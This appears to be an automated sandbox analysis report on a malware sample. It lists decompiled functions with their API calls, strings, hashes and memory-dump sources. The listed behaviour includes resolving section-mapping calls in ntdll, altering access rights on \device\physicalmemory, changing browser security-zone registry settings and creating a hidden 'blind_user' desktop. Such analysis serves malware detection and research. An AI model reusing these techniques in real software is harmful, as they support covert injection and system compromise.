Instruction ID: 207a0c2c24704257dc82047f11ad41d7b25eba1db427a6dda8aff0efe7f4a5ef
Opcode Fuzzy Hash: 97066158e7caddc246d118ad30601bc5e86c518a965b60cc81196b9f5f35fe85
Instruction Fuzzy Hash: 2112DC71A002199FDB62DB68CD44BDAB7F9BB0C304F5040FAA588E7290D7B4AAC58F55

Function 00402822 Relevance: 21.0, APIs: 6, Strings: 6, Instructions: 34libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ntdll.dll,00000000,69D467A1,00402E1B,00000000,69D467A1,?,?,00406F1E,00000000,00000000,00000000,QueenKarton_12,%s\%s,00429080,dnkkq.dll), ref: 0040283A
GetProcAddress.KERNEL32(00000000,RtlInitUnicodeString), ref: 00402847
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 00402857
GetProcAddress.KERNEL32(00000000,NtOpenSection), ref: 0040286D
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 0040287D
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 0040288D

Strings

ntdll.dll, xrefs: 00402835
RtlNtStatusToDosError, xrefs: 00402887
NtUnmapViewOfSection, xrefs: 00402851
NtOpenSection, xrefs: 00402867
NtMapViewOfSection, xrefs: 00402877
RtlInitUnicodeString, xrefs: 00402841

Memory Dump Source

Source File: 00000002.00000002.1981974586.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1981915377.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982006776.000000000042A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982081281.000000000042E000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982109328.000000000042F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982129135.0000000000436000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982146402.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Ogjdllpi.jbxd

Yara matches

Similarity

API ID: AddressProc$HandleModule
String ID: NtMapViewOfSection$NtOpenSection$NtUnmapViewOfSection$RtlInitUnicodeString$RtlNtStatusToDosError$ntdll.dll
API String ID: 667068680-1987783197
Opcode ID: f3f948102971a568e61a5bb1a738835a59e2c1009918de6079867c1c535b5a8b
Instruction ID: 9d3c92be313ac2760b75685e9acc68d9338f811418752029c31410863af0f615
Opcode Fuzzy Hash: f3f948102971a568e61a5bb1a738835a59e2c1009918de6079867c1c535b5a8b
Instruction Fuzzy Hash: BCF03A21B642206B93126B327D4293E36689792B19395003FF840F6191DB7C09225F9F

Function 00402E06 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 337libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00402822: GetModuleHandleA.KERNEL32(ntdll.dll,00000000,69D467A1,00402E1B,00000000,69D467A1,?,?,00406F1E,00000000,00000000,00000000,QueenKarton_12,%s\%s,00429080,dnkkq.dll), ref: 0040283A
Part of subcall function 00402822: GetProcAddress.KERNEL32(00000000,RtlInitUnicodeString), ref: 00402847
Part of subcall function 00402822: GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 00402857
Part of subcall function 00402822: GetProcAddress.KERNEL32(00000000,NtOpenSection), ref: 0040286D
Part of subcall function 00402822: GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 0040287D
Part of subcall function 00402822: GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 0040288D

GetVersion.KERNEL32 ref: 00402E22
LoadLibraryA.KERNEL32 ref: 00402E91
GetProcAddress.KERNEL32 ref: 00402EC5
IsBadReadPtr.KERNEL32(?,00001000), ref: 00402F75
GlobalMemoryStatus.KERNEL32(?), ref: 00402F9F
CloseHandle.KERNEL32(?), ref: 00403065
GetModuleHandleA.KERNEL32(kernel32.dll), ref: 004030EA
VirtualQuery.KERNEL32(?,?,0000001C), ref: 0040315B
IsBadWritePtr.KERNEL32(00000000,00001000), ref: 004031F1

Strings

kernel32.dll, xrefs: 004030E5

Memory Dump Source

Source File: 00000002.00000002.1981974586.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1981915377.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982006776.000000000042A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982081281.000000000042E000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982109328.000000000042F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982129135.0000000000436000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982146402.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Ogjdllpi.jbxd

Yara matches

Similarity

API ID: AddressProc$Handle$Module$CloseGlobalLibraryLoadMemoryQueryReadStatusVersionVirtualWrite
String ID: kernel32.dll
API String ID: 2089743848-1793498882
Opcode ID: 4f42c9a603f3b22a608ddecb7cf3016b4a0286024c9d1ec82fce5a6e54f44313
Instruction ID: cfd5926590b061e949c3a24607155209ead47d6dc4f6dfca132d0ef3b1a5cdf0
Opcode Fuzzy Hash: 4f42c9a603f3b22a608ddecb7cf3016b4a0286024c9d1ec82fce5a6e54f44313
Instruction Fuzzy Hash: F6F19070D042B88BEB328F64DD483E9BBB1AB55306F0481EBD588662D2C2B85FC5CF55

Function 004037AA Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 53COMMON

Download Yara Rule

APIs

printf.CRTDLL([length=%i] [summ=%i],?,00000000), ref: 004037DD
printf.CRTDLL(HEX: ,[length=%i] [summ=%i],?,00000000), ref: 004037EE
printf.CRTDLL(%02X ,00000000), ref: 00403804
printf.CRTDLL(TXT: '%s',?), ref: 0040382C

Strings

X4, xrefs: 004037E2
TXT: '%s', xrefs: 00403827
HEX: , xrefs: 004037E9
[length=%i] [summ=%i], xrefs: 004037D8
%02X , xrefs: 004037FF

Memory Dump Source

Source File: 00000002.00000002.1981974586.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1981915377.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982006776.000000000042A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982081281.000000000042E000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982109328.000000000042F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982129135.0000000000436000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982146402.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Ogjdllpi.jbxd

Yara matches

Similarity

API ID: printf
String ID: TXT: '%s'$%02X $HEX: $X4$[length=%i] [summ=%i]
API String ID: 3524737521-4004101572
Opcode ID: ca4ded32e23903f7249d6c5dbeb3a47121f77b3b45ed42eb0d7ff3160f68b428
Instruction ID: a8ef6db4a05ad48ab0456940bf437e850f92713de92630681f76b68ebadef0f7
Opcode Fuzzy Hash: ca4ded32e23903f7249d6c5dbeb3a47121f77b3b45ed42eb0d7ff3160f68b428
Instruction Fuzzy Hash: 88016B62A04254BED7006FA7CC82A6F7FDCAB4175AF2080BEF545730C0D1B86F41D6A6

Function 004054D7 Relevance: 15.1, APIs: 10, Instructions: 109stringthreadmemoryCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?), ref: 004054F1
lstrlenA.KERNEL32(?,?), ref: 00405505
lstrlenA.KERNEL32(?,?,?), ref: 00405513
lstrlenA.KERNEL32(?,?,?,?), ref: 0040551F
LocalAlloc.KERNEL32(00000000,?,?,?,?,?), ref: 0040554B
memcpy.CRTDLL(00000001,?,?,00000000,?,?,?,?,?), ref: 0040556A
CreateThread.KERNEL32(00000000,00000000,Function_00005133,00000000,00000000,?), ref: 004055DE
WaitForSingleObject.KERNEL32(00000000,000000FF,00000000,00000000,Function_00005133,00000000,00000000,?,?,?,?,?,00000006,?,-00000005,?), ref: 004055EE
GetExitCodeThread.KERNEL32(00000000,?,00000000,000000FF,00000000,00000000,Function_00005133,00000000,00000000,?,?,?,?,?,00000006,?), ref: 004055F8
CloseHandle.KERNEL32(00000000,00000000,?,00000000,000000FF,00000000,00000000,Function_00005133,00000000,00000000,?,?,?,?,?,00000006), ref: 004055FE

Memory Dump Source

Source File: 00000002.00000002.1981974586.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1981915377.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982006776.000000000042A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982081281.000000000042E000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982109328.000000000042F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982129135.0000000000436000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982146402.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Ogjdllpi.jbxd

Yara matches

Similarity

API ID: lstrlen$Thread$AllocCloseCodeCreateExitHandleLocalObjectSingleWaitmemcpy
String ID:
API String ID: 2845097592-0
Opcode ID: 7ec933356805a86d395f76af41b9b2d9f18e99f1d3eeeb5c371ae48cad7448a7
Instruction ID: 017c82820a2f145177c9e28e2e3f5c0bebc6ad2cdfe5315ab2aa4ad5daf85086
Opcode Fuzzy Hash: 7ec933356805a86d395f76af41b9b2d9f18e99f1d3eeeb5c371ae48cad7448a7
Instruction Fuzzy Hash: 5E31D721A04159BACF01DFA6CC01AAEB7F9AF44318F144476F904E7291E63CDB15C7A9

Function 00405F5B Relevance: 13.6, APIs: 9, Instructions: 64stringthreadmemoryCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?), ref: 00405F73
lstrlenA.KERNEL32(?,?), ref: 00405F7E
LocalAlloc.KERNEL32(00000040,?,?,?), ref: 00405F8D
lstrlenA.KERNEL32(?,00000000,?,00000040,?,?,?), ref: 00405FA2
DeleteUrlCacheEntry.WININET(?), ref: 00405FB5
CreateThread.KERNEL32(00000000,00000000,Function_00005C09,00000000,00000000,?), ref: 00405FCA
WaitForSingleObject.KERNEL32(00000000,000000FF,00000000,00000000,Function_00005C09,00000000,00000000,?,00000001,?,?,00000000,?,00000040,?,?), ref: 00405FDD
GetExitCodeThread.KERNEL32(00000000,?,00000000,000000FF,00000000,00000000,Function_00005C09,00000000,00000000,?,00000001,?,?,00000000,?,00000040), ref: 00405FE7
CloseHandle.KERNEL32(00000000,00000000,?,00000000,000000FF,00000000,00000000,Function_00005C09,00000000,00000000,?,00000001,?,?,00000000,?), ref: 00405FED

Memory Dump Source

Source File: 00000002.00000002.1981974586.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1981915377.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982006776.000000000042A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982081281.000000000042E000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982109328.000000000042F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982129135.0000000000436000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982146402.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Ogjdllpi.jbxd

Yara matches

Similarity

API ID: lstrlen$Thread$AllocCacheCloseCodeCreateDeleteEntryExitHandleLocalObjectSingleWait
String ID:
API String ID: 794401840-0
Opcode ID: 03fc3e79f5e594bfaf1f893bda151e66fa8c5b5e213fcd764589a016d7372ae4
Instruction ID: 5ee1198a60b0fc2a8532ff5616a25e8349e08cf473eab22e95dc85017e90c3ca
Opcode Fuzzy Hash: 03fc3e79f5e594bfaf1f893bda151e66fa8c5b5e213fcd764589a016d7372ae4
Instruction Fuzzy Hash: B011CA71A082447BD701F6668C42EAFB76DDF85368F144476F600B71C2D678AF0147E9

Function 0040289A Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 99COMMON

Download Yara Rule

APIs

GetSecurityInfo.ADVAPI32(?,00000006,?,00000000,00000000,?,00000000,?), ref: 00402976
SetEntriesInAclA.ADVAPI32(00000001,00000002,?,?), ref: 00402988
SetSecurityInfo.ADVAPI32(?,00000006,?,00000000,00000000,?,00000000,?,00000006,?,00000000,00000000,?,00000000,?), ref: 004029A3
CloseHandle.KERNEL32(?,?,00000006,?,00000000,00000000,?,00000000,?,00000006,?,00000000,00000000,?,00000000,?), ref: 004029B1

Strings

@, xrefs: 004028DD
CURRENT_USER, xrefs: 00402914
\device\physicalmemory, xrefs: 004028B7

Memory Dump Source

Source File: 00000002.00000002.1981974586.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1981915377.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982006776.000000000042A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982081281.000000000042E000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982109328.000000000042F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982129135.0000000000436000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982146402.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Ogjdllpi.jbxd

Yara matches

Similarity

API ID: InfoSecurity$CloseEntriesHandle
String ID: @$CURRENT_USER$\device\physicalmemory
API String ID: 405656561-3357994103
Opcode ID: 3f106b48de9bb5ba9ca254209248b2c107f34978da584956db3145db2ea5644b
Instruction ID: 89d45d45e0a184fa7970b295066ffccd564a705ae1855cc5323f3f658fcd5c06
Opcode Fuzzy Hash: 3f106b48de9bb5ba9ca254209248b2c107f34978da584956db3145db2ea5644b
Instruction Fuzzy Hash: 2A41EB71E4030DAFEB108FD4DC85BEEB7B9FB04319F50403AEA00BA191D7B9595A8B59

Function 0040509B Relevance: 12.0, APIs: 1, Strings: 7, Instructions: 43COMMON

Download Yara Rule

APIs

sprintf.CRTDLL(?,SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\%u,00000000), ref: 004050CD

Strings

BrowseNewProcess, xrefs: 00405113
1601, xrefs: 004050D4
SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\%u, xrefs: 004050C1
yes, xrefs: 0040510E
.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\BrowseNewProcess, xrefs: 00405118
Software\Microsoft\Windows\CurrentVersion\Internet Settings, xrefs: 004050FF
GlobalUserOffline, xrefs: 004050FA

Memory Dump Source

Source File: 00000002.00000002.1981974586.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1981915377.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982006776.000000000042A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982081281.000000000042E000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982109328.000000000042F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982129135.0000000000436000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982146402.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Ogjdllpi.jbxd

Yara matches

Similarity

API ID: sprintf
String ID: .DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\BrowseNewProcess$1601$BrowseNewProcess$GlobalUserOffline$SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\%u$Software\Microsoft\Windows\CurrentVersion\Internet Settings$yes
API String ID: 590974362-546450379
Opcode ID: ad57bd7a5e5ee7174c091d0a3ea72984deb32bb5560bbbda773b8a609c7be674
Instruction ID: cd0aaffbc0bd71aa605591c0976343fec0ffbebd6d6d4fedce8ce2f9217411d7
Opcode Fuzzy Hash: ad57bd7a5e5ee7174c091d0a3ea72984deb32bb5560bbbda773b8a609c7be674
Instruction Fuzzy Hash: 24F07DF2F883587EE710A1699C47F8D765907A1704FA400A7BA44B10C2D0FE56C6826D

Function 004077E4 Relevance: 10.6, APIs: 7, Instructions: 83windowCOMMON

Download Yara Rule

APIs

SetFocus.USER32 ref: 00407826
SetFocus.USER32 ref: 00407839
SetFocus.USER32 ref: 00407852
SetFocus.USER32 ref: 00407865
SetFocus.USER32 ref: 00407878
SetFocus.USER32 ref: 0040788B
CallWindowProcA.USER32(00000000,?,?,?,?), ref: 00407909

Memory Dump Source

Source File: 00000002.00000002.1981974586.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1981915377.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982006776.000000000042A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982081281.000000000042E000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982109328.000000000042F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982129135.0000000000436000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982146402.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Ogjdllpi.jbxd

Yara matches

Similarity

API ID: Focus$CallProcWindow
String ID:
API String ID: 2401821148-0
Opcode ID: 92e1ce8f7ee7a46a278bda77c005b4e0a5389e500612bd3ca87d360d572643d3
Instruction ID: 67d25c2989ca0d32993d4aa71a0b11dc39683739a3ff9c0c7d6bcfde353c753a
Opcode Fuzzy Hash: 92e1ce8f7ee7a46a278bda77c005b4e0a5389e500612bd3ca87d360d572643d3
Instruction Fuzzy Hash: 6F318233E082149BDF21FB29ED848DA7726A751324715C43AE550B32B1DB787C91CB6E

Function 004036B3 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 57fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,C0000000,00000000,00000000,?,00000080,00000000), ref: 004036D7
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,?,C0000000,00000000,00000000,?,00000080,00000000), ref: 004036F4
WriteFile.KERNEL32(00000000,?,?,?,00000000,00000000,00000000,00000000,00000002,?,C0000000,00000000,00000000,?,00000080,00000000), ref: 00403715
WriteFile.KERNEL32(00000000,0042CC6C,00000002,?,00000000,00000000,?,?,?,00000000,00000000,00000000,00000000,00000002,?,C0000000), ref: 00403728
CloseHandle.KERNEL32(00000000,00000000,0042CC6C,00000002,?,00000000,00000000,?,?,?,00000000,00000000,00000000,00000000,00000002,?), ref: 00403734

Strings

Y&-v, xrefs: 004036BA

Memory Dump Source

Source File: 00000002.00000002.1981974586.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1981915377.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982006776.000000000042A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982081281.000000000042E000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982109328.000000000042F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982129135.0000000000436000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982146402.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Ogjdllpi.jbxd

Yara matches

Similarity

API ID: File$Write$CloseCreateHandlePointer
String ID: Y&-v
API String ID: 2529654636-852306816
Opcode ID: 1a2ee31b6e64b1819939f0b424d9492dfa5bc2d8a36479f3b8c11624ee1f3d36
Instruction ID: 393fb1fac6dfb6d7043d4134058e676a256c67ba5a84656a07003a75d011006f
Opcode Fuzzy Hash: 1a2ee31b6e64b1819939f0b424d9492dfa5bc2d8a36479f3b8c11624ee1f3d36
Instruction Fuzzy Hash: A401A772B4461439F62165758C43F9E365D8B41B78F208136F711BB1C1D6F97E0142BD

Function 00405613 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

FindFirstUrlCacheEntryA.WININET(*.*,?,00001F40), ref: 00405654
_stricmp.CRTDLL(?,?), ref: 00405679
FindNextUrlCacheEntryA.WININET(00000000,?,00001F40), ref: 004056C0
_stricmp.CRTDLL(?,?), ref: 004056D6

Strings

*.*, xrefs: 0040564F

Memory Dump Source

Source File: 00000002.00000002.1981974586.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1981915377.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982006776.000000000042A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982081281.000000000042E000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982109328.000000000042F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982129135.0000000000436000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982146402.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Ogjdllpi.jbxd

Yara matches

Similarity

API ID: CacheEntryFind_stricmp$FirstNext
String ID: *.*
API String ID: 747601842-438819550
Opcode ID: ba5afd5151c0520d6d715a10c5df759dc41a82144f0bc2f8a3a4ef8e8a54dfaf
Instruction ID: aa6d97de36eacb02400b0bc5d5be45fc0d4f636131057f9c0ab70f2a458f06eb
Opcode Fuzzy Hash: ba5afd5151c0520d6d715a10c5df759dc41a82144f0bc2f8a3a4ef8e8a54dfaf
Instruction Fuzzy Hash: AD21CF72E1005AABCB109A65CC018FBB6EEEB44398F1404F3F108F7290EB799E418F65

Function 0040431F Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 50threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00404341
GetThreadDesktop.USER32(00000000), ref: 00404347
CreateDesktopA.USER32(blind_user,00000000,00000000,00000000,000000C7,00000000), ref: 00404376
SetThreadDesktop.USER32 ref: 00404394

Strings

blind_user, xrefs: 00404371

Memory Dump Source

Source File: 00000002.00000002.1981974586.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1981915377.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982006776.000000000042A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982081281.000000000042E000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982109328.000000000042F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982129135.0000000000436000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982146402.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Ogjdllpi.jbxd

Yara matches

Similarity

API ID: DesktopThread$CreateCurrent
String ID: blind_user
API String ID: 2384851093-487808672
Opcode ID: f5dbc74db38e7769b0145d7bd92762358955ae931e1e69e9e23be6df9a4e239d
Instruction ID: 282a6fb7077f79b337956a50597d570250b08ff90f4541f666399335e01d3b83
Opcode Fuzzy Hash: f5dbc74db38e7769b0145d7bd92762358955ae931e1e69e9e23be6df9a4e239d
Instruction Fuzzy Hash: 2C018471B442006FDB14B73E9C5276FA6D95BC0314F64403BA602F72D0E9B899018A5D

Function 00403840 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

printf.CRTDLL(HEX: ), ref: 00403863
printf.CRTDLL(%02X ,00000000), ref: 00403877
printf.CRTDLL(0042CC3A), ref: 00403890

Strings

HEX: , xrefs: 0040385E
%02X , xrefs: 00403872

Memory Dump Source

Source File: 00000002.00000002.1981974586.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1981915377.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982006776.000000000042A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982081281.000000000042E000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982109328.000000000042F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982129135.0000000000436000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982146402.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Ogjdllpi.jbxd

Yara matches

Similarity

API ID: printf
String ID: %02X $HEX:
API String ID: 3524737521-2568639716
Opcode ID: 20ec43f9d3281b237926bfbb5e092365326a766f922892e0b88cafedccc6c182
Instruction ID: 8eff4c8c66366255d0771bcdb7d8d21a427f9234d78b176c67630138abebef86
Opcode Fuzzy Hash: 20ec43f9d3281b237926bfbb5e092365326a766f922892e0b88cafedccc6c182
Instruction Fuzzy Hash: 43F0E972F05214BBD704DB9ADC4286E77A9DB9236473080FBF804631C0E9755F0086A9

Function 00403BBE Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 112COMMON

Download Yara Rule

APIs

memset.CRTDLL(?,00000090,00000008,56CC39D8,-0042AA50,297D09F2,00000000), ref: 00403C8B
memcpy.CRTDLL(?,-0042AA50,00000000,?,00000090,00000008,56CC39D8,-0042AA50,297D09F2,00000000), ref: 00403CAE
memcpy.CRTDLL(-0042AA50,?,00000006,?,-0042AA50,00000000,?,00000090,00000008,56CC39D8,-0042AA50,297D09F2,00000000), ref: 00403CBE

Strings

MC, xrefs: 00403BFD

Memory Dump Source

Source File: 00000002.00000002.1981974586.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1981915377.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982006776.000000000042A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982081281.000000000042E000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982109328.000000000042F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982129135.0000000000436000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982146402.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Ogjdllpi.jbxd

Yara matches

Similarity

API ID: memcpy$memset
String ID: MC
API String ID: 438689982-3957011357
Opcode ID: 17c6be56fc60e202b714f164ab6214ad707b693cbc1fda5e6d8626b4e57840bc
Instruction ID: 0fabd55d67194886af3b95eda558b9f651b3b184c5d0290ca09bafd6d30b71fa
Opcode Fuzzy Hash: 17c6be56fc60e202b714f164ab6214ad707b693cbc1fda5e6d8626b4e57840bc
Instruction Fuzzy Hash: F131B661F08198AFDB00DFBDC84169EBFFA9B4A210F1480B6E884F7381D5789F059765

Function 004017AC Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 68comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 004017CC
CLSIDFromString.OLE32({9BA05972-F6A8-11CF-A442-00A0C90A8F39},?), ref: 004017DA
CoCreateInstance.OLE32(?,00000000,?,0042CD50,?,{9BA05972-F6A8-11CF-A442-00A0C90A8F39},?), ref: 00401803

Strings

{9BA05972-F6A8-11CF-A442-00A0C90A8F39}, xrefs: 004017D5

Memory Dump Source

Source File: 00000002.00000002.1981974586.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1981915377.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982006776.000000000042A000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982081281.000000000042E000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982109328.000000000042F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982129135.0000000000436000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1982146402.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Ogjdllpi.jbxd

Yara matches

Similarity

API ID: CreateFromInitializeInstanceString
String ID: {9BA05972-F6A8-11CF-A442-00A0C90A8F39}
